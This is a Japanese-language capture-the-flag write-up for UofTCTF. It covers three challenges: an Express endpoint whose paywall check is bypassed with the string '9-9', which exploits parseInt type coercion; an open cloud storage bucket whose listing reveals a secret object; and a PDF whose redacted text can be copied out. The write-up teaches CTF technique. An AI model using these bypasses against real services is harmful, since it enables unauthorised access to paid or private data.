---
# System prepended metadata

title: UoftCTF Writeup
tags: [writeup]

---

# UoftCTF Writeup

[toc]

## Web

### The Vartity

FLAGは、article配列内にあります。

```javascript
const articles = [
  {
    "title": "Pioneering the Future: UofT's Revolutionary AI Research",
    "content": "The University of Toronto continues to lead groundbreaking research in artificial intelligence, with its latest project aiming to develop algorithms that can understand emotions in text. Spearheaded by a team of international students, this initiative promises to revolutionize how machines interact with human language."
  },
  ...
  {
    title: "UofT Hosts its 2nd Inaugural Capture the Flag Event",
    content: "Your flag is: " + FLAG,
  },
];
```

articleを参照できるのは、`/article`エンドポイントなので、詳しく見ていきましょう。

```javascript
app.post("/article", (req, res) => {
  const token = req.cookies.token;

  if (token) {
    try {
      const decoded = jwt.verify(token, JWT_SECRET);

      let issue = req.body.issue;

      if (req.body.issue < 0) {
        return res.status(400).json({ message: "Invalid issue number" });
      }

      if (decoded.subscription !== "premium" && issue >= 9) {
        return res
          .status(403)
          .json({ message: "Please subscribe to access this issue" });
      }

      issue = parseInt(issue);

      if (Number.isNaN(issue) || issue > articles.length - 1) {
        return res.status(400).json({ message: "Invalid issue number" });
      }

      return res.json(articles[issue]);
    } catch (error) {
      res.clearCookie("token");
      return res.status(403).json({ message: "Not Authenticated" });
    }
  } else {
    return res.status(403).json({ message: "Not Authenticated" });
  }
});
```

`issue変数`が、配列内の要素を表すようです。

```javascript
return res.json(articles[issue]);
```

FLAGは、index 9にあるため、`issue:9`にすればよさそうですが、`subscription`がguestになります。

<details>

<summary>server.ts</summary>
    
```javascript
app.post("/register", (req, res) => {
  const { username, voucher } = req.body;

  if (
    typeof username === "string" &&
    (!voucher || typeof voucher === "string")
  ) {
    const subscription = voucher === FLAG + JWT_SECRET ? "premium" : "guest";
    if (voucher && subscription === "guest") {
      return res.status(400).json({ message: "Invalid voucher" });
    }
```
</details>


そのため、issueは9未満でなければなりません。

```javascript
      if (decoded.subscription !== "premium" && issue >= 9) {
        return res
          .status(403)
          .json({ message: "Please subscribe to access this issue" });
      }
```

ですが、issueは再代入されることがわかります。

```javascript
issue = parseInt(issue);
```

ここで悪用ができれば幸せです。

では検証していきましょう。

```javascript
issue = "9-9";
issue >= 9; // false
parseInt(issue); // 9
```

この挙動を利用すればうまくいきそうなことがわかります。

```javascript
      if (decoded.subscription !== "premium" && issue >= 9) {
        return res
          .status(403)
          .json({ message: "Please subscribe to access this issue" });
      }
```

まずここは、true && falseの結果falseで次の処理へ行きます。

```javsacript
      issue = parseInt(issue);
```

続いて、issueに9が入ります。

```javascript
      if (Number.isNaN(issue) || issue > articles.length - 1) {
        return res.status(400).json({ message: "Invalid issue number" });
      }
```

最後、ここはもちろん引っかかりません。

`articles.length - 1 = 9`で、`issue = 9`ですし、isNaNではないためです。

つまりこれでFLAGが降ってきます。

![image](https://hackmd.io/_uploads/HJYYr8ZYT.png)

```json
{"title":"UofT Hosts its 2nd Inaugural Capture the Flag Event","content":"Your flag is: uoftctf{w31rd_b3h4v10r_0f_parseInt()!}"}
```

## Miscellaneous

### Out of the Buscket

`/out-of-the-bucket`にアクセスすると、以下のように怪しい何かが見えます。

```xml
<Contents><Key>secret/dont_show</Key><Generation>1703868647771911</Generation><MetaGeneration>1</MetaGeneration><LastModified>2023-12-29T16:50:47.809Z</LastModified><ETag>"737eb19c7265186a2fab89b5c9757049"</ETag><Size>29</Size></Contents>
```

`/out-of-the-bucket/secret/dont_show`にアクセスするとフラグが取得できます。

```text=
uoftctf{allUsers_is_not_safe}
```

## Forensics
### Secret Message 1

配布されるsecret.pdfの黒塗り部分をコピーしてどっかに貼り付けるとフラグが取得できる。

```text=
uoftctf{fired_for_leaking_secrets_in_a_pdf}
```